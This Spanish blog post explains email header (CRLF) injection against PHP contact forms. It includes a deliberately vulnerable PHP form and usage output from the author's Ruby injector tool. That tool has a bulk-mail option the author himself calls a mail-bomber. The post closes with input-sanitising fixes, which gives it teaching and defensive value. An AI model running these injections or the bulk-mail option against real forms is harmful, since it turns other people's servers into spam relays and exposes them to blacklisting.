Back to top

Documentación explícita referente a redes, sistemas y seguridad informática.

Categorías


Administración y Seguridad Programación

Ruby CRLF Injector

Ruby CRLF injector es una herramienta desarrollada en Ruby para realizar inyecciónes CRLF en formularios de contacto que utilicen la función mail() de PHP y enviar mails a otras direcciones de correo. Voy a hacer una breve explicación de su funcionamiento y veremos un poco este tipo de inyecciones que son mucho más comunes de lo que todos pensamos. Lo primero de todo, necesitamos tener instalado nuestro interprete Ruby con Rubygems y Mechanize. Para ello, en sistemas basados en Debian se puede instalar desde los repositorios apt-get, en Fedora desde YUM y en Opensuse podéis probar desde Yast2 por consola desde zypper:

$ apt-get install libwww-mechanize-ruby-doc libwww-mechanize-ruby1.9
$ yum install libwww-mechanize-ruby-doc libwww-mechanize-ruby1.9
$ zypper in libwww-mechanize-ruby-doc libwww-mechanize-ruby1.9


ó

$ apt-get install libwww-mechanize-ruby-doc libwww-mechanize-ruby1.8
$ yum install libwww-mechanize-ruby-doc libwww-mechanize-ruby1.8
$ zypper in libwww-mechanize-ruby-doc libwww-mechanize-ruby1.8


Dependiendo de la versión. Para saber vuestra versión de ruby:

$ ruby -v


Ahora que tenemos todo preparado, vamos a ver en qué consiste este bug. CRLF significa (CR = Carriage Return LF = Line Feed) Salto de Línea y Retorno del Carro. Os recomiendo que antes de seguir echéis un ojo a estos dós artículos de la Wikipedia o no os enteraréis de nada:

http://es.wikipedia.org/wiki/CRLF
http://es.wikipedia.org/wiki/Simple_Mail_Transfer_Protocol


De este último (SMTP), nos quedamos con lo siguiente:

S: 220 Servidor ESMTP
1. C: HELO miequipo.midominio.com
2. S: 250 Hello, please meet you
3. C: MAIL FROM: yo@midominio.com
4. S: 250 Ok
5. C: RCPT TO: destinatario@sudominio.com
6. S: 250 Ok
7. C: DATA
8. S: 354 End data with <CR><LF>.<CR><LF>
9. C: Subject: Campo de asunto
10. C: From: yo@midominio.com
11. C: To: destinatario@sudominio.com
12. C:
13. C: Hola,
14. C: Esto es una prueba.
15. C: Adiós.
16. C:
17. C: .
18. S: 250 Ok: queued as 12345
19. C: quit
20. S: 221 Bye


¿Qué ocurriría si en la línea 10 colocáramos un CRLF y añadiéramos nuestro propio destinatario para la línea 11? Pues que el mail sería enviado a otro destinatario diferente, a parte del que ya está establecido (ya que el protocolo SMTP permite concatenar varios destinatarios por concatenación de varios campos "To:"). Por supuesto también podríamos añadir una Copia de Carbón (CC) o una Copia de Carbón Oculta (CCO) en el caso de que no nos interese que el administrador vea las direcciones de destino. Un ejemplo sería el siguiente (fijáos bien en la línea 10):

S: 220 Servidor ESMTP
1. C: HELO miequipo.midominio.com
2. S: 250 Hello, please meet you
3. C: MAIL FROM: yo@midominio.com
4. S: 250 Ok
5. C: RCPT TO: destinatario@sudominio.com
6. S: 250 Ok
7. C: DATA
8. S: 354 End data with <CR><LF>.<CR><LF>
9. C: Subject: Campo de asunto
10. C: From: yo@midominio.com\r\nCCO: fulanito@hotmail.com; menganito@yahoo.com
11. C: To: destinatario@sudominio.com
12. C:
13. C: Hola,
14. C: Esto es una prueba.
15. C: Adiós.
16. C:
17. C: .
18. S: 250 Ok: queued as 12345
19. C: quit
20. S: 221 Bye


El mail sería enviado a una a Fulanito y Menganito pero también a Destinatario.

Explotar CRLF injection en la WEB:


Ya hemos visto las premisas básicas del ataque. Ahora supongamos que tenemos la siguiente aplicacíon que procesa y envía los datos recibidos a la dirección del administrador:

<html>
<title>Taller CRLF Injections</title>
<head>
<meta http-equiv='content-type' content='text/html; charset=utf-8' />
</head>
<body>
<center>
<h2>Enví­anos tu mail!</h2>
<form action='mail.php' method='POST'>
Nombre:<input type='text' name='name'><br><br>
Apellidos:<input type='text' name='apellidos'><br><br>
Asunto:<input type='text' name='subject'><br><br>
Mail:<input type='text' name='mailfrom'><br><br>
Mensaje:<br><textarea name='mensaje' rows='5' cols='50'></textarea><br><br>
<input type=submit value='enviar!' name='button'></form>

<?php
$nombre=$_POST['name'];
$apellidos=$_POST['apellidos'];
$asunto=$_POST['subject'];
$remitente=$_POST['mailfrom'];
$mensaje=$_POST['mensaje'];
$cuerpo="Mensaje enviado por $apellidos; $nombre:
$mensaje";
$headers="To:administrador\r\nFrom: $remitente";

if ($nombre!="" && $apellidos!="" && $asunto!="" && $remitente!="" && $mensaje!=""){
$mail=mail("admin@dominio.com",$asunto, $cuerpo, $headers);
}elseif(isset($_POST['button'])){
echo "<script>alert('Rellene todos los campos')</script>";
}
?>
</body>
</html>


Esta aplicación tiene un fallo de seguridad severo ya que no está saneando las entradas ($_POST['variable']). El campo que nos va a servir para hacer la inyección es "Mail" cuya variable es "$remitente". Si introducimos en Mail un CRLF con, por ejemplo, una Copia de Carbón Oculta (CCO), podríamos enviar mails a más destinatarios y Administrador posíblemente no se daría cuenta. Pero no podemos meter los caracteres \r\n en el formulario porque HTTP, antes de enviarlos al interprete PHP los traduciría a URLencode y al llegar al interprete no llegaría como el CRLF que el interprete conoce, que es el "\r\n". Entonces podemos usar Live HTTP Headers, Tamper Data o Paros Proxy para inyectar el salto de línea como es debido y para ello hay que meter el CRLF en URLencode pero bien: %0d%0a.

Inyección por Live HTTP Headers:


Demostración:


Ruby CRLF Injector:


Ahora veamos cómo funciona esta herramienta y cómo podemos utilizarla para realizar ataques a formularios:

$ ruby rcrlfinjector.rb -h

Usage: RCRLF-injector has two modes of operation.

[-h] Display help.

[-1] The first mode is used to gather information about the form.
Example: rcrlfinjector.rb -1 http://example.com/mail_contact.php

[-2] The second mode is used for make the CRLF injection itself.
Example: rcrlfinjector.rb -2 name_of_form name subject mailfrom message http://example.com/mail_contact.php

[*] You can use "default" name for use the first form of the url.

[*] If want to make a CRLF injection, you must add "[CRLF]" at the end of the vulnerable input, like that:
Example: rcrlfinjector.rb -2 name_of_form name subject mailfrom[CRLF] message http://example.com/mail_contact.php

[*] Another function implemented in RCRLF-injector is the posibility of send a lot of mails. You can do that adding a number at the end of the arguments, like that:
Example: rcrlfinjector.rb -2 name_of_form name subject mailfrom[CRLF] message http://example.com/mail_contact.php 10


Como podemos ver en la ayuda mostrada, implementa dos modos de operación:

Modo 1, extrayendo información de los formularios:



Con el primer modo extraeremos información de los formularios que tenemos en la página. Veamos un ejemplo de uso con el código vulnerable subido a mi página:

$ ruby rcrlfinjector.rb -1 http://trash.n3t-datagrams.net/mail.php

Collecting form data...
Page: http://trash.n3t-datagrams.net/mail.php
Action: mail.php
Method: POST
Form name:
Field(s) name(s):
[-] Name: name
[-] Name: apellidos
[-] Name: subject
[-] Name: mailfrom
[-] Name: mensaje


Podemos ver que el programa nos devuelve todos los formularios de la página. A continuación se procedría a realizar la inyección.

Modo 2, inyectando:



El modo 2 funciona de la siguiente manera:

  • En primer lugar hay que indicar que se va a utilizar el modo 2 con -2.

  • Se pone el nombre delformulario. Como el formulario de esta aplicación no tiene nombre, ponemos "default". Al poner default estamos indicando al script que utilice el primer formulario de la página.

  • Se escriben los nombres de los campos. En este caso: name apellidos subject mailfrom mensaje. Pero cuidado! tendremos que indicar al script en qué campo queremos realizar nuestra inyección. Para ello añadiremos "[crlf]" justo después del nombre del campo en el que queramos hacer la inyección. Por ejemplo, en nuestro caso, el campo vulnerable sería "mailfrom" ya que sería nuestra dirección de correo, por lo que sería el lugar idoneo para inyectar un CRLF y posteriormente un "To:", "CC:" ó "CCO:" especificando las direcciones de correo de nuestros destinatarios. Quedaría al final lo siguiente: name apellidos subject mailfrom[crlf] mensaje.

  • Ponemos la página: http://trash.n3t-datagrams.net/mail.rb.

  • Finalmente, hay una opción que no me gusta mucho y de la que me siento un poco arrepentido por si esta herramienta cae en manos de algún script-kiddie con malas intenciones. Sin embargo, la incluyo porque creo que no está de más. Es la posibilidad de mandar correos masivos (mail-bomber). No utilizéis esta opción con un número muy alto de mails porque es posible que por vuestra culpa, la IP del servidor acabe en una lista negra de las empresas de correo electrónico (y eso no es nada bueno). Para elegir el número de mails que queréis mandar, sólo tenéis que poner el número al final. Si no se pone nada, toma por defecto el valor 1. Vamos a enviar por ejemplo 10 mails: 10.


    Finalmente queda así:

    $ ruby crlfinjector.rb -2 default name apellidos subject mailfrom[crlf] mensaje http://trash.n3t-datagrams.net/mail.php 10
    Valor para name:
    Sh4v
    Valor para apellidos:
    Kotriksnov
    Valor para subject:
    CRLF danger!
    Valor para mailfrom:
    direccionfalsa@undominio.com
    CRLF injection:
    To: mimail@hotmail.com
    Valor para mensaje:
    Aplicando CRLF injection por medio de un script automatizado.
    Enviando correo(s)...
    Correo(s) enviado(s) ;-)


    Las pruebas:





    Como repararlo:


    Repararlo no es complicado. El fallo de seguridad está en que las variables de entrada no han sido saneadas. Habrá por tanto que sanearlas. Yo propongo la siguiente función:

    function fix($var){
    $lst=array("\r","\n","\t","\0","\x0B");
    $var=str_replace($lst, "", $var);
    $var= htmlentities($var);
    $var=trim($var);
    $var=(get_magic_quotes_gpc()) ? $var : addslashes($var);
    return $var;
    }


    Esta otra también sería válida y mucho más simple (tomada de securiteam.com):

    function removecrlf($str) {
    return strtr($str, "\015\012", ' ');
    }


    Links interesantes:


    http://www.securiteam.com/unixfocus/6F00Q0K6AK.html
    http://www.acunetix.com/websitesecurity/crlf-injection.htm
    http://n3t-datagrams.net/lab/rcrlfinjector.rb.txt

    _________________________________________________________________________________
    Todavía no hay comentarios. ¡Anímate y se el primero!

    Nombre:

    Web:

    Comentario:


    N3t-Datagrams® is programmed by Sh4v and designed by Pr0x.

    Políticas

    Aviso legal | Advisories